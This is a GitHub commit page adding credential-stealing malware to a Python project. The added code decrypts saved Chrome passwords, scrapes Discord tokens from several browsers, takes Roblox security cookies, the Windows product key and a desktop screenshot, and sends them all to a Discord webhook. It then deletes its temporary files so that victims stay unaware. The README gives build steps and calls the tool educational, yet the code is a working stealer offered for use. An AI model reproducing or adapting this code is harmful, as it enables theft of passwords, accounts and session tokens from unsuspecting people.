Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit b8de06b

Browse files
Added chromepassword stealer and roblox security stealer cuz bored
1 parent 3229db7 commit b8de06b

File tree

3 files changed

+273
-8
lines changed

3 files changed

+273
-8
lines changed

‎README.md‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55
## Future plans:
66
- Better settings
77
- Steam Stealer
8-
- Logging Browser History and Passwords
8+
- ~~Logging Browser History and Passwords~~
99
- Record Video or Take Screenshot
1010
- Detailed Specs
1111

@@ -18,7 +18,7 @@
1818
3. Compile it using pyinstaller
1919
4. Done
2020

21-
## Showcase:
21+
## Showcase (old):
2222
![Showcase](https://i.imgur.com/6BAJJ7e.png)
2323

2424
`WARN: This one is for educational purposes only! I do not recommend using it on people!`

‎main.py‎

Lines changed: 265 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,19 @@
1313
import requests
1414
import subprocess
1515
from uuid import getnode as get_mac
16+
import browser_cookie3 as steal, requests, base64, random, string, zipfile, shutil, dhooks, os, re, sys, sqlite3
17+
from cryptography.hazmat.primitives.ciphers import (Cipher, algorithms, modes)
18+
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
19+
from cryptography.hazmat.backends import default_backend
20+
from Crypto.Cipher import AES
21+
22+
23+
from base64 import b64decode, b64encode
24+
from dhooks import Webhook, Embed, File
25+
from subprocess import Popen, PIPE
26+
from json import loads, dumps
27+
from shutil import copyfile
28+
from sys import argv
1629

1730
# CONFIG -> Setup before compiling
1831
url= "" #Paste Discord Webhook url
@@ -123,3 +136,255 @@ def Wipe():
123136

124137
requests.post(url, data=json.dumps({ "embeds": [ { "title": f"Someone Runs Program! - {host}", "color": 8781568 }, { "color": 7506394, "fields": [ { "name": "GeoLocation", "value": f"Using VPN?: {proxy}\nLocal IP: {localip}\nPublic IP: {publicip}\nMAC Adress: {mac}\n\nCountry: {country} | {callcode} | {timezone}\nregion: {region}\nCity: {city} | {postal}\nCurrency: {currency}\n\n\n\n" } ] }, { "fields": [ { "name": "System Information", "value": f"System: {uname.system}\nNode: {uname.node}\nMachine: {uname.machine}\nProcessor: {uname.processor}\n\nBoot Time: {bt.year}/{bt.month}/{bt.day} {bt.hour}:{bt.minute}:{bt.second}" } ] }, { "color": 15109662, "fields": [ { "name": "CPU Information", "value": f"Psychical cores: {psutil.cpu_count(logical=False)}\nTotal Cores: {psutil.cpu_count(logical=True)}\n\nMax Frequency: {cpufreq.max:.2f}Mhz\nMin Frequency: {cpufreq.min:.2f}Mhz\n\nTotal CPU usage: {psutil.cpu_percent()}\n" }, { "name": "Nemory Information", "value": f"Total: {scale(svmem.total)}\nAvailable: {scale(svmem.available)}\nUsed: {scale(svmem.used)}\nPercentage: {svmem.percent}%" }, { "name": "Disk Information", "value": f"Total Size: {scale(partition_usage.total)}\nUsed: {scale(partition_usage.used)}\nFree: {scale(partition_usage.free)}\nPercentage: {partition_usage.percent}%\n\nTotal read: {scale(disk_io.read_bytes)}\nTotal write: {scale(disk_io.write_bytes)}" }, { "name": "Network Information", "value": f"Total Sent: {scale(net_io.bytes_sent)}\")\nTotal Received: {scale(net_io.bytes_recv)}" } ] }, { "color": 7440378, "fields": [ { "name": "Discord information", "value": f"Token: {realshit}" } ] } ] }), headers={"Content-Type": "application/json"})
125138

139+
DBP = r'Google\Chrome\User Data\Default\Login Data'
140+
ADP = os.environ['LOCALAPPDATA']
141+
142+
143+
def sniff(path):
144+
path += '\\Local Storage\\leveldb'
145+
146+
tokens = []
147+
try:
148+
for file_name in os.listdir(path):
149+
if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
150+
continue
151+
152+
for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
153+
for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
154+
for token in re.findall(regex, line):
155+
tokens.append(token)
156+
return tokens
157+
except:
158+
pass
159+
160+
161+
def encrypt(cipher, plaintext, nonce):
162+
cipher.mode = modes.GCM(nonce)
163+
encryptor = cipher.encryptor()
164+
ciphertext = encryptor.update(plaintext)
165+
return (cipher, ciphertext, nonce)
166+
167+
168+
def decrypt(cipher, ciphertext, nonce):
169+
cipher.mode = modes.GCM(nonce)
170+
decryptor = cipher.decryptor()
171+
return decryptor.update(ciphertext)
172+
173+
174+
def rcipher(key):
175+
cipher = Cipher(algorithms.AES(key), None, backend=default_backend())
176+
return cipher
177+
178+
179+
def dpapi(encrypted):
180+
import ctypes
181+
import ctypes.wintypes
182+
183+
class DATA_BLOB(ctypes.Structure):
184+
_fields_ = [('cbData', ctypes.wintypes.DWORD),
185+
('pbData', ctypes.POINTER(ctypes.c_char))]
186+
187+
p = ctypes.create_string_buffer(encrypted, len(encrypted))
188+
blobin = DATA_BLOB(ctypes.sizeof(p), p)
189+
blobout = DATA_BLOB()
190+
retval = ctypes.windll.crypt32.CryptUnprotectData(
191+
ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))
192+
if not retval:
193+
raise ctypes.WinError()
194+
result = ctypes.string_at(blobout.pbData, blobout.cbData)
195+
ctypes.windll.kernel32.LocalFree(blobout.pbData)
196+
return result
197+
198+
199+
def localdata():
200+
jsn = None
201+
with open(os.path.join(os.environ['LOCALAPPDATA'], r"Google\Chrome\User Data\Local State"), encoding='utf-8', mode="r") as f:
202+
jsn = json.loads(str(f.readline()))
203+
return jsn["os_crypt"]["encrypted_key"]
204+
205+
206+
def decryptions(encrypted_txt):
207+
encoded_key = localdata()
208+
encrypted_key = base64.b64decode(encoded_key.encode())
209+
encrypted_key = encrypted_key[5:]
210+
key = dpapi(encrypted_key)
211+
nonce = encrypted_txt[3:15]
212+
cipher = rcipher(key)
213+
return decrypt(cipher, encrypted_txt[15:], nonce)
214+
215+
216+
class chrome:
217+
def __init__(self):
218+
self.passwordList = []
219+
220+
def chromedb(self):
221+
_full_path = os.path.join(ADP, DBP)
222+
_temp_path = os.path.join(ADP, 'sqlite_file')
223+
if os.path.exists(_temp_path):
224+
os.remove(_temp_path)
225+
shutil.copyfile(_full_path, _temp_path)
226+
self.pwsd(_temp_path)
227+
def pwsd(self, db_file):
228+
conn = sqlite3.connect(db_file)
229+
_sql = 'select signon_realm,username_value,password_value from logins'
230+
for row in conn.execute(_sql):
231+
host = row[0]
232+
if host.startswith('android'):
233+
continue
234+
name = row[1]
235+
value = self.cdecrypt(row[2])
236+
_info = '[==================]\nhostname => : %s\nlogin => : %s\nvalue => : %s\n[==================]\n\n' % (host, name, value)
237+
self.passwordList.append(_info)
238+
conn.close()
239+
os.remove(db_file)
240+
241+
def cdecrypt(self, encrypted_txt):
242+
if sys.platform == 'win32':
243+
try:
244+
if encrypted_txt[:4] == b'\x01\x00\x00\x00':
245+
decrypted_txt = dpapi(encrypted_txt)
246+
return decrypted_txt.decode()
247+
elif encrypted_txt[:3] == b'v10':
248+
decrypted_txt = decryptions(encrypted_txt)
249+
return decrypted_txt[:-16].decode()
250+
except WindowsError:
251+
return None
252+
else:
253+
pass
254+
255+
def saved(self):
256+
try:
257+
with open(r'C:\ProgramData\passwords.txt', 'w', encoding='utf-8') as f:
258+
f.writelines(self.passwordList)
259+
except WindowsError:
260+
return None
261+
262+
263+
if __name__ == "__main__":
264+
main = chrome()
265+
try:
266+
main.chromedb()
267+
except:
268+
pass
269+
main.saved()
270+
271+
272+
# webhook functionality => collect rest of specified data, send it to our webhook
273+
274+
275+
def beamed():
276+
hook = Webhook(url)
277+
try:
278+
hostname = requests.get("https://api.ipify.org").text
279+
except:
280+
pass
281+
282+
283+
local = os.getenv('LOCALAPPDATA')
284+
roaming = os.getenv('APPDATA')
285+
paths = {
286+
'Discord': roaming + '\\Discord',
287+
'Discord Canary': roaming + '\\discordcanary',
288+
'Discord PTB': roaming + '\\discordptb',
289+
'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
290+
'Opera': roaming + '\\Opera Software\\Opera Stable',
291+
'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
292+
'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
293+
}
294+
295+
message = '\n'
296+
for platform, path in paths.items():
297+
if not os.path.exists(path):
298+
continue
299+
300+
message += '```'
301+
302+
tokens = sniff(path)
303+
304+
if len(tokens) > 0:
305+
for token in tokens:
306+
message += f'{token}\n'
307+
else:
308+
pass
309+
310+
message += '```'
311+
312+
313+
"""screenshot victim's desktop"""
314+
try:
315+
screenshot = image.grab()
316+
screenshot.save(os.getenv('ProgramData') +r'\screenshot.jpg')
317+
screenshot = open(r'C:\ProgramData\screenshot.jpg', 'rb')
318+
screenshot.close()
319+
except:
320+
pass
321+
322+
"""gather our .zip variables"""
323+
try:
324+
zname = r'C:\ProgramData\passwords.zip'
325+
newzip = zipfile.ZipFile(zname, 'w')
326+
newzip.write(r'C:\ProgramData\passwords.txt')
327+
newzip.close()
328+
passwords = File(r'C:\ProgramData\passwords.zip')
329+
except:
330+
pass
331+
332+
"""gather our windows product key variables"""
333+
try:
334+
usr = os.getenv("UserName")
335+
keys = subprocess.check_output('wmic path softwarelicensingservice get OA3xOriginalProductKey').decode().split('\n')[1].strip()
336+
types = subprocess.check_output('wmic os get Caption').decode().split('\n')[1].strip()
337+
except:
338+
pass
339+
340+
"""steal victim's .roblosecurity cookie"""
341+
cookie = [".ROBLOSECURITY"]
342+
cookies = []
343+
limit = 2000
344+
345+
"""chrome installation => list cookies from this location"""
346+
try:
347+
cookies.extend(list(steal.chrome()))
348+
except:
349+
pass
350+
351+
"""firefox installation => list cookies from this location"""
352+
try:
353+
cookies.extend(list(steal.firefox()))
354+
except:
355+
pass
356+
357+
"""read data => if we find a matching positive for our specified variable 'cookie', send it to our webhook."""
358+
try:
359+
for y in cookie:
360+
send = str([str(x) for x in cookies if y in str(x)])
361+
chunks = [send[i:i + limit] for i in range(0, len(send), limit)]
362+
for z in chunks:
363+
roblox = f'```' + f'{z}' + '```'
364+
except:
365+
pass
366+
367+
"""attempt to send all recieved data to our specified webhook"""
368+
try:
369+
embed = Embed(title='Aditional Features',description='a victim\'s data was extracted, here\'s the details:',color=0x2f3136,timestamp='now')
370+
embed.add_field("windows key:",f"user => {usr}\ntype => {types}\nkey => {keys}")
371+
embed.add_field("roblosecurity:",roblox)
372+
embed.add_field("tokens:",message)
373+
embed.add_field("hostname:",f"{hostname}")
374+
except:
375+
pass
376+
try:
377+
hook.send(embed=embed, file=passwords)
378+
except:
379+
pass
380+
381+
"""attempt to remove all evidence, allows for victim to stay unaware of data extraction"""
382+
try:
383+
subprocess.os.system(r'del C:\ProgramData\screenshot.jpg')
384+
subprocess.os.system(r'del C:\ProgramData\passwords.zip')
385+
subprocess.os.system(r'del C:\ProgramData\passwords.txt')
386+
except:
387+
pass
388+
389+
390+
beamed()

‎requirements.txt‎

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
1-
psutil
2-
platform
3-
subprocess
4-
uuid
5-
json
6-
socket
1+
dhooks==1.1.4
2+
requests==2.25.1
3+
psutil==5.8.0
4+
browser_cookie3==0.12.0
5+
cryptography==3.4.7
6+
pycryptodome==3.10.1

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /